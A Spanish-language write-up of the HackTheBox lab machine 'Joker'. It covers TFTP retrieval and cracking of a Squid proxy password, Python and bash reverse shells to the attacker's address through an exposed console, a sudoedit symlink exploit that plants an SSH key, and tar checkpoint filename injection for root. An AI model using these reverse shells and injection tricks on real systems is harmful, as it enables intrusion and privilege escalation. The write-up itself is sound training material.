Joker HTB - WriteUp
En el día de hoy estaremos resolviendo la máquina Joker de HackTheBox. Es una máquina Linux y su dirección IP es 10.10.10.21.
Índice
- Enumeración Inicial
- SQUID Enumeration
- Cracking SQUID Password
- Web Enumeration
- Python Console Abuse
- Privesc To Other User
- Privesc To Root
Enumeración Inicial
Lo primero que haremos será una enumeración de los servicios expuestos que tiene la máquina. Para esa tarea usaremos nmap.
❯ nmap -sC -sV -Pn -oN Extraction -p22,3128 10.10.10.21
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-02 08:56 CET
Nmap scan report for 10.10.10.21
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA)
| 256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA)
|_ 256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-server-header: squid/3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Tenemos un SSH y un SQUID Proxy. Vamos a ver el proxy desde el navegador.
Podemos ver el típico error de SQUID. Vamos a intentar pasar por el proxy y ver si necesita autenticación. Para ello podemos usar FoxyProxy o ProxyChains. En este caso voy a tirar de FoxyProxy.
Una forma en la que podemos ver si necesitamos autenticarnos es a través de Tshark o Wireshark.
❯ tshark --color -w captura.pcap -i tun0
Running as user "root" and group "root". This could be dangerous.
Capturing on 'tun0'
13
SQUID Enumeration
Si recargamos la página del proxy mientras tenemos en Tshark capturando, podemos ver como suben los paquetes. Si leemos la captura de Tshark podemos ver lo siguiente:
❯ tshark -r captura.pcap
Running as user "root" and group "root". This could be dangerous.
1 0.000000000 10.10.16.6 → 10.10.10.21 TCP 60 45214 → 3128 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=205785435 TSecr=0 WS=1024
2 0.041117181 10.10.10.21 → 10.10.16.6 TCP 60 3128 → 45214 [SYN, ACK] Seq=0 Ack=1 Win=28960 Len=0 MSS=1335 SACK_PERM=1 TSval=65742 TSecr=205785435 WS=128
3 0.041141249 10.10.16.6 → 10.10.10.21 TCP 52 45214 → 3128 [ACK] Seq=1 Ack=1 Win=64512 Len=0 TSval=205785476 TSecr=65742
4 0.041350801 10.10.16.6 → 10.10.10.21 HTTP 423 GET http://10.10.10.21:3128/ HTTP/1.1
5 0.164070981 10.10.10.21 → 10.10.16.6 TCP 52 3128 → 45214 [ACK] Seq=1 Ack=372 Win=30080 Len=0 TSval=65773 TSecr=205785476
6 0.164636191 10.10.10.21 → 10.10.16.6 TCP 1375 HTTP/1.1 407 Proxy Authentication Required [TCP segment of a reassembled PDU]
7 0.164644837 10.10.16.6 → 10.10.10.21 TCP 52 45214 → 3128 [ACK] Seq=372 Ack=1324 Win=64512 Len=0 TSval=205785600 TSecr=65773
8 0.164658063 10.10.10.21 → 10.10.16.6 TCP 1375 3128 → 45214 [ACK] Seq=1324 Ack=372 Win=30080 Len=1323 TSval=65773 TSecr=205785476 [TCP segment of a reassembled PDU]
9 0.164662556 10.10.16.6 → 10.10.10.21 TCP 52 45214 → 3128 [ACK] Seq=372 Ack=2647 Win=63488 Len=0 TSval=205785600 TSecr=65773
10 0.204385323 10.10.10.21 → 10.10.16.6 TCP 1375 3128 → 45214 [ACK] Seq=2647 Ack=372 Win=30080 Len=1323 TSval=65773 TSecr=205785476 [TCP segment of a reassembled PDU]
11 0.204427269 10.10.16.6 → 10.10.10.21 TCP 52 45214 → 3128 [ACK] Seq=372 Ack=3970 Win=64512 Len=0 TSval=205785640 TSecr=65773
12 0.204442802 10.10.10.21 → 10.10.16.6 HTTP 311 HTTP/1.1 407 Proxy Authentication Required (text/html)
13 0.204446327 10.10.16.6 → 10.10.10.21 TCP 52 45214 → 3128 [ACK] Seq=372 Ack=4229 Win=64512 Len=0 TSval=205785640 TSecr=65773
Cracking SQUID Password
Podemos ver una traza en la que pone: “Proxy Authentication Required” Esto significa que no podemos pasar a través del Proxy sin credenciales. El siguiente paso será enumerar los puertos UDP abiertos en la máquina. Para ello también tiramos de nmap.
# Nmap 7.91 scan initiated Thu Mar 2 09:06:45 2023 as: nmap -sU -oN UDPScan 10.10.10.21
Nmap scan report for 10.10.10.21
Host is up (0.041s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
69/udp open|filtered tftp
5355/udp open|filtered llmnr
# Nmap done at Thu Mar 2 09:24:51 2023 -- 1 IP address (1 host up) scanned in 1085.50 seconds
El escaneo puede tardar un rato. Una vez vemos el rusultado podemos ver que el puerto 69 podría estar abierto. Esto corresponde con el servicio TFTP. Podemos conectarnos a este servicio a través del comando tftp.
❯ tftp 10.10.10.21
tftp> ?
Commands may be abbreviated. Commands are:
connect connect to remote tftp
mode set file transfer mode
put send file
get receive file
quit exit tftp
verbose toggle verbose mode
trace toggle packet tracing
status show current status
binary set mode to octet
ascii set mode to netascii
rexmt set per-packet retransmission timeout
timeout set total retransmission timeout
? print help information
tftp>
Lo malo de tftp es que nos nos permite saber con exactitud los archivos que podemos descargar, dado que no podemos listar. Si recordamos que SQUID nos pedia autenticarnos podemos intentar enumerar eso. El path de SQUID suele ser /etc/squid/. Vamos a probar a descargarnoslo.
tftp> get
(files) /etc/squid/squid.conf
Received 295428 bytes in 24.0 seconds
tftp>
Parece que nos lo hemos descargado, vamos a ver si contiene información que nos sirva. SQUID también tiene puede tener un archivo que contiene las contraseñas en un formato de HASH. He hecho uso de la función grep para buscar las coincidencias de password en el archivo de configuración y he encontrado lo siguiente:
❯ cat squid.conf | grep password
# their username and password.
# password verifications are done via a (slow) network you are
# password= The users password (for login= cache_peer option)
# # to check username/password combinations (see
# acl password proxy_auth REQUIRED
auth_param basic program /usr/lib/squid/basic_ncsa_auth /etc/squid/passwords
# TAG: sslpassword_program
# selection of the right password if you have multiple encrypted
# login=user:password
# to pass on, but username and password are available
# from an external ACL user= and password= result tags
# password to the peer. USE WITH CAUTION
# login=*:password
# fixed password. This is meant to be used when the peer
# the login=username:password option above.
# it is the password; for Digest, the realm sent by the
# If you want the anonymous login password to be more informative
# (taken from the password file) and supplementary group list
# "password=<password>" to the end of this service declaration.
# wccp2_service standard 0 password=foo
# Specify passwords for cachemgr operations.
# Usage: cachemgr_passwd password action action ...
# valid password, others can be performed if not listed here.
# To disable an action, set the password to "disable".
# To allow performing an action without a password, set the
# password to "none".
# Use the keyword "all" to set the same password for all actions.
# No password. Actions which require password are denied.
Un archivo llamado “/etc/squid/passwords” vamos a ver si nos lo podemos descargar.
(files) /etc/squid/passwords
Received 48 bytes in 0.0 seconds
tftp>
Nos lo hemos descargado, vamos a ver su contenido.
kalamari:$apr1$zyzBxQYW$pL360IoLQ5Yum5SLTph.l0
Tenemos un usuario y un hash, vamos a probar a romperlo con john o hashcat, en mi caso usaré john.
❯ john --show passwords
kalamari:ihateseafood
1 password hash cracked, 0 left
john es capaz de romperlo y podemos ver la password en claro. Vamos a probar a autenticarnos a traves de FoxyProxy.
Si probamos recargar la página, no vamos a ver ninguna diferencia (El logo de SQUID aparece). Sin embargo si probamos a irnos a localhost, podemos ver lo siguiente.
Web Enumeration
Y si probamos 127.0.0.1 podemos ver contenido web.
La página nos permite crear acortadores de url, pero no podemos hacer nada interesante. Vamos a enumerar directorios y archivos con gobuster.
❯ gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://127.0.0.1 --proxy http://kalamari:ihateseafood@10.10.10.21:3128
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://127.0.0.1
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] Proxy: http://kalamari:ihateseafood@10.10.10.21:3128
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2023/03/02 09:45:04 Starting gobuster in directory enumeration mode
===============================================================
/list (Status: 301) [Size: 251] [--> http://127.0.0.1/list/]
/console (Status: 200) [Size: 1479]
Podemos ver un directorio /console que suena bastante interesante. SI vamos a este podemos ver una consola de python.
Python Console Abuse
Voy a tratar de establecerme una revshell. Poniendo lo siguiente:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.16.6",443))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
En el momento que hice eso… la máquina se colgo :) despues de reiniciarla varias veces y comprobar que efectivamente estaba funcionando la consola interactiva a traves de un ping.
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:50:52.200940 IP 10.10.10.21 > 10.10.16.6: ICMP echo request, id 1569, seq 1, length 64
09:50:52.200966 IP 10.10.16.6 > 10.10.10.21: ICMP echo reply, id 1569, seq 1, length 64
Intente establecerme la revshell por udp. Me puse a la escucha con netcat por udp
❯ nc -lvvp 443 -u
listening on [any] 443 ...
Y mandaremos lo siguiente por la web.
os.system("bash -c 'sh -i >& /dev/udp/10.0.0.1/4242 0>&1'")
Si miramos nuestro listener podemos ver que tenemos shell.
❯ nc -lvvp 443 -u
listening on [any] 443 ...
10.10.10.21: inverse host lookup failed: Unknown host
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.21] 41026
sh: 0: can't access tty; job control turned off
$
Privesc To Other User
Le hacemos el tratamiento de la tty… Una vez este hecho ya tendremos una shell totalmente interactiva. Estamos con el usuario werkzeug y estamos dentro de la máquina.
werkzeug@joker:~$ id; ip a
uid=1000(werkzeug) gid=1000(werkzeug) groups=1000(werkzeug)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:50:56:b9:ef:ec brd ff:ff:ff:ff:ff:ff
inet 10.10.10.21/24 brd 10.10.10.255 scope global ens33
valid_lft forever preferred_lft forever
inet6 fe80::250:56ff:feb9:efec/64 scope link
valid_lft forever preferred_lft forever
werkzeug@joker:~$
Si miramos nuestros permisos de sudo podemos ver que podemos ejecutar el comando sudoedit como el usuario alekos de la siguiente forma.
werkzeug@joker:~$ sudo -l
Matching Defaults entries for werkzeug on joker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, sudoedit_follow, !sudoedit_checkdir
User werkzeug may run the following commands on joker:
(alekos) NOPASSWD: sudoedit /var/www/*/*/layout.html
werkzeug@joker:~$
El directorio home del usuario alekos podemos listarlo.
werkzeug@joker:/home/alekos$ ls -la
total 52
drwxr-xr-x 7 alekos alekos 4096 May 19 2017 .
drwxr-xr-x 3 root root 4096 May 16 2017 ..
drwxrwx--- 2 root alekos 12288 Mar 2 10:55 backup
-rw------- 1 root root 0 May 17 2017 .bash_history
-rw-r--r-- 1 alekos alekos 220 May 16 2017 .bash_logout
-rw-r--r-- 1 alekos alekos 3771 May 16 2017 .bashrc
drwx------ 2 alekos alekos 4096 May 17 2017 .cache
drwxr-x--- 5 alekos alekos 4096 May 18 2017 development
drwxr-xr-x 2 alekos alekos 4096 May 17 2017 .nano
-rw-r--r-- 1 alekos alekos 655 May 16 2017 .profile
drwxr-xr-x 2 alekos alekos 4096 May 20 2017 .ssh
-r--r----- 1 root alekos 33 Mar 2 09:54 user.txt
Lo que haré será crear una carpeta dentro de testing y un archivo layout.html dentro de esa carpeta. Una vez creado eso podriamos ejecutar el privilegio de sudo sin necesidad de contraseña.
sudoedit -u alekos /var/www/testing/pwn/layout.html
Si buscamos en searchexploit podemos ver que existe el siguiente exploit “linux/local/37710.txt” Este explica como podemos aprovecharnos de los wildcards que hemos visto que se estaban usando y crear un enlace simbolico para escribir donde queramos.
Then, logged as that user, create a subdirectory within its home folder
(e.g. /home/<user_to_grant_priv>/newdir) and later create a symbolic link
inside the new folder named test.txt pointing to /etc/shadow.
When you run sudoedit /home/<user_to_grant_priv>/newdir/test.txt you will
be allowed to access the /etc/shadow even if have not been granted with
such access in the sudoers file.
Por lo tanto lo que podemos hacer es apuntar al fichero authorized_keys que hay en .ssh del usuario alekos y subir nuestra clave publica para autenticarnos sin necesidad de claves.
werkzeug@joker:~$ ln -s /home/alekos/.ssh/authorized_keys /var/www/testing/pwn/layout.html
Ahora si hacemos un sudoedit como alekos podremos editar el archivo porque tenemos permisos sobre el. Lo unico que tenemos que hacer es poner nuestra clave publica y salvar. Ahora si leemos el authorized_keys podemos ver nuestra clave.
werkzeug@joker:~$ cat /home/alekos/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAgQCw0/dWsz3rD0Hkz3SEy9PI0zf9QfARaRxu/Q3H0T7RvIVCpBMKBFRdo0RLMyX8OIUVpX1ALtRJjse4pAJqgHBice5vQkldWwGh0PAV5+uC9/raRm+zIalrnoigQ8fG0DygZNx1yAb4soWYJOuRYFigNfml3ahTwQsnv5P32jSObO5jd1oDoxaSietTRvQU+zfftfz4fgmzmPuYKjkR5JYYrpW6jZJ/ZBkaGBHnCIlbsjziw9kWpFIFoELn5y2eh5AHIbLCo3egYb4E7SN+dlnFReQuv6TUEPcDdLALUmSe08jw0MJsIZEn6FrPmCd4YEoT13bLwPFSGK/xCCgvcb7sXxTm4S25JFWZOaceDl8kg/5bxZydydAXD5P8Y4H/f4aQFhwyvMHo5sKWZvUUVILk9OFoaNij0c+AxO6Ezz1Z8oS0z5jko1qZwUqfLWmbcPw5hLnoWAETyQx0RCc/nIwFcJTkCGzfXqG87ZcbZvixyEZumIk= root@Kamino
Privesc To Root
Nos podemos conectar sin necesidad de credenciales.
❯ ssh alekos@10.10.10.21
Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Sat May 20 16:38:08 2017 from 10.10.13.210
alekos@joker:~$
Tenemos dos carpetas en nuestro home “backup” y “development”. Voy a subir a la máquina la utilidad pspy para ver si hay tareas programadas corriendo por detras. Para mi sorpresa… Las conexiones TCP no salian de la máquina. IPTABLES tenía las suientes reglas.
# Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017
*filter
:INPUT DROP [41573:1829596]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [878:221932]
-A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT
-A INPUT -i ens33 -p udp -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A INPUT -i lo -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP
COMMIT
# Completed on Fri May 19 18:01:16 2017
Por defecto INPUT estaba a DROP por lo tanto el tráfico no llegaba, pero permitia todo por udp. Recordemos que UDP no es un protocolo orientado a la conexión por lo tanto no era una opción pasarme la utilidad por ahí. Lo que hice fué transferirlo por scp dado que las cconexiones por ssh están permitidas.
scp pspy64 alekos@10.10.10.21:/dev/shm
Si ejecutamos pspy y esperamos un rato podemos ver lo siguiente.
2023/03/02 11:45:01 CMD: UID=0 PID=2138 | /bin/sh /root/backup.sh
2023/03/02 11:45:01 CMD: UID=0 PID=2137 | /bin/sh -c /root/backup.sh
2023/03/02 11:45:01 CMD: UID=0 PID=2136 | /usr/sbin/CRON -f
2023/03/02 11:45:01 CMD: UID=0 PID=2140 | tar cf /home/alekos/backup/dev-1677750301.tar.gz __init__.py application.py data models.py static templates utils.py views.py
2023/03/02 11:45:01 CMD: UID=0 PID=2142 | /bin/sh /root/backup.sh
Se esta comprimiendo todo lo que haya en developement. No puedo ver el script, pero lo que voy a ver es si añado un archivo al directorio también se comprime.
alekos@joker:~/development$ nano testpwn
alekos@joker:~/development$ ls
__init__.py application.py data models.py static templates testpwn utils.py views.py
Si se comprime podriamos pensar que se esta usando un wildcard y aprovecharnos de esto.
2023/03/02 11:50:01 CMD: UID=0 PID=2214 | tar cf /home/alekos/backup/dev-1677750601.tar.gz __init__.py application.py data models.py static templates testpwn utils.py views.py
Bien, vamos a intentar aprovecharnos. Para ello vamos a crear dos archivos que se llamaran de la siguiente forma.
--checkpoint=1 --checkpoint-action=exec=/bin/sh
Vamos a susitutir /bin/sh por el comando que queramos ejecutar. Lo primero que haré sera crear un script en bash para otorgarle privs SUID a la bash
#!/bin/bash
chmod +s /bin/bash
Después tendremos que crear los archivos:
echo "" > "--checkpoint-action=exec=bash shell.sh"
echo "" > --checkpoint=1
Si esperamos un poco podemos ver como las bash tiene privilegios SUID.
2023/03/02 12:00:01 CMD: UID=0 PID=2287 |
2023/03/02 12:00:01 CMD: UID=0 PID=2286 | tar cf /home/alekos/backup/dev-1677751201.tar.gz --checkpoint-action=exec=bash shell.sh --checkpoint=1 __init__.py application.py data models.py shell.sh static templates testpwn utils.py views.py
2023/03/02 12:00:01 CMD: UID=0 PID=2288 | bash shell.sh
2023/03/02 12:00:01 CMD: UID=0 PID=2289 |
2023/03/02 12:00:01 CMD: UID=0 PID=2290 |
2023/03/02 12:00:01 CMD: UID=0 PID=2291 | bash shell.sh
2023/03/02 12:00:01 CMD: UID=0 PID=2294 |
2023/03/02 12:00:01 CMD: UID=0 PID=2293 | /bin/sh -c bash shell.sh
2023/03/02 12:00:01 CMD: UID=0 PID=2297 | /bin/sh -c bash shell.sh
2023/03/02 12:00:01 CMD: UID=0 PID=2296 | /bin/sh -c bash shell.sh
2023/03/02 12:00:01 CMD: UID=0 PID=2298 | chmod +s /bin/bash
Si tratamos de ejecutar las bash de forma privilegiada, podemos ver que estamos en un contexto de root.
alekos@joker:~/development$ bash -p
bash-4.3# id
uid=1001(alekos) gid=1001(alekos) euid=0(root) egid=0(root) groups=0(root),1000(werkzeug),1001(alekos)
bash-4.3#
Ya hemos pwneado la máquina! Espero que te sirva!